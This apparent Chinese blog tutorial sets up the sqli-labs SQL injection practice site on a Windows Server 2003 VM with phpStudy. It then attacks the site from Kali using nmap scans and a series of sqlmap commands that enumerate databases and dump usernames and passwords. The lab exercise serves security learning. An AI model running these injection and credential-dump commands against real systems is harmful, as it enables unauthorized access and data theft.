实验环境说明
身份 | 系统版本 | IP地址 |
---|
服务器 | Windows Server 2003 | 192.168.43.128 | 攻击者 | Kali 5.3.0 | 192.168.43.5 |
软件及环境下载
软件安装与环境部署
- 安装phpstudy软件,注意安装路径,可能需要修改
- 因为使用的是虚拟机环境,我是将软件安装在
E:\phpStudy 下的 - 需要关闭防火墙(因为作为靶机使用,安装完成系统后,就已经将防火墙关闭了)
- 安装完成后,启动phpStudy,同时启动服务
- 因为服务器还开启了IIS服务,所以80端口被占用,这里修改为了8080端口。如果启动服务端口被占用,可以关闭相应端口的服务或者更换phpStudy的服务端口
-
访问测试
- 使用地址
192.168.43.128:8080/phpinfo.php (如果没有修改端口,则不需要使用端口号) - 出现如下情况即表示成功
-
将靶场环境复制进服务器中
- 将下载的靶场环境文件放入到phpStudy的环境中
- 将整个
sqli-labs-master 文件夹复制到E:\phpStudy\WWW 中(如果是Github下载的压缩包,需要解压) - 找到
E:\phpStudy\WWW\penetration\sql-connections 文件夹下的db-creds.inc 文件,将$dbpass ='' 后的引号内添加数据库的密码($dbpass ='root' )
- Github项目的需要自己更改,阿里云盘下载的已经修改了
- 如果更改过MySql数据库的密码,可以通过以下方式查看密码
- 访问靶场环境测试
- 使用
http://192.168.43.128:8080/sqli-labs-master 访问测试(这里我修改了靶场环境的文件夹名,所以是http://192.168.43.128:8080/penetration ) - 点击
Setup/reset Database for labs 检查是否可以正常连接数据库
Kali测试
nmap测试
-
nmap的端口状态
-
open :端口是开放的 -
closed :端口是关闭的 -
filtered :端口被 Firewall/IDS/IPS 屏蔽,无法确定其状态 -
unfiltered :端口没有被屏蔽,但是否开放需要进一步确定 -
open|filtered :端口是开放的或被屏蔽 -
closed|filtered :端口是关闭的或被屏蔽 -
常用选项
-p 扫描指定端口-f 快速模式-扫描比默认扫描更少的端口-v 显示扫描过程-A 全面系统检测、启用脚本检测、扫描等-V 显示版本号-h 帮助信息-exclude-ports 从扫描中排除指定端口-top-ports 扫描最常用的端口-open 仅显示开放的端口-sS 使用TCP的SYN进行扫描-sT 使用TCP进行扫描-sU UDP扫描
- 使用命令
nmap -O 192.168.43.128 ,扫描主机的操作系统
- 根据扫描结果,可以看到主机开放的端口和主机的操作系统
sqlmap测试
- 在使用sqlmap工具时,报错
[22:18:19] [WARNING] you haven't updated sqlmap for more than 920 days!!! - 使用命令
sqlmap --update 更新sqlmap工具
- 常用选项
-h 帮助文档-v 显示详细信息-d 直接连接数据库-u 指定url扫描,url必须存在查询参数。例 xxx.php?id=1 -l 后面跟一个log文件,判断log(日志)文件中所有记录是否存在注入点-?-version 查看sqlmap版本信息-?-dbs 查看目标服务器有什么数据库-?-tables 目标主机中的数据库有什么数据表-?-columns 获取目标主机中数据库的列数信息-?-dump 查询指定范围的所有数据-?-search 查询目的主机是否存在相当应的列、表和数据库
- 使用命令
sqlmap -u "http://192.168.43.128:8080/penetration/Less-1/?id=1" 扫描,检查是否存在注入漏洞
- 可以看到靶机的PHP、Apache、MySQL的版本信息
- URL后一定要有
?id=1
- 使用命令
sqlmap -u "http://192.168.43.128:8080/penetration/Less-1/?id=1" -dbs ,获取数据库信息
- 使用命令
sqlmap -u "http://192.168.43.128:8080/penetration/Less-1/?id=1" -D test --tables ,获取数据库中的表单信息
- 使用命令
sqlmap -u "http://192.168.43.128:8080/penetration/Less-1/?id=1" -D test -T badboy --columns ,获取表单中的所有字段信息
- 使用命令
sqlmap -u "http://192.168.43.128:8080/penetration/Less-1/?id=1" -D test -T badboy -C username --dump ,获取表单中的指定字段的内容信息
- 使用命令
sqlmap -u "http://192.168.43.128:8080/penetration/Less-1/?id=1" -D test -T badboy -C password --dump ,获取表单中的admin的密码信息
- 在进行测试的过程中,在服务器更改了数据库内容,添加了表单,但是在使用Sqlmap获取数据库表单时,没有更新出新的表单。服务重启、服务器重启、Kali重启都还是没有更新出新的表单
- 因为sqlmap在进行注入时,会有缓存记录保存在
/root/.local/share/sqlmap/output 中 - 解决办法
- 使用命令
rm -rf /root/.sqlmap/output/x.x.x.x 删除旧的缓存记录,x.x.x.x 表示注入的IP地址。删除后重新启动 - 使用命令
sqlmap -u "http://192.168.43.128:8080/penetration/Less-1/?id=1" --purge 清理缓存
以上内容均属原创,如有不详或错误,敬请指出。
本文链接: http://t.csdn.cn/KTtHS
|